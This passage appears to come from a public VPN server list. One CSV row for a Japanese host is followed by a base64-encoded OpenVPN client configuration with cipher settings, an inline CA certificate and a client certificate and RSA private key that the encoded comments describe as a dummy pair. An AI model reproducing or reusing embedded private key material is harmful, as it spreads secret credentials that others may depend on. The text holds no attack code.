FRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn497910382,175.129.117.170,1489316,2,759354740,Japan,JP,52,860645195,385926,244559197121130,2weeks,DESKTOP-DROEGCL's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNzUuMTI5LjExNy4xNzAgMTIxMw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM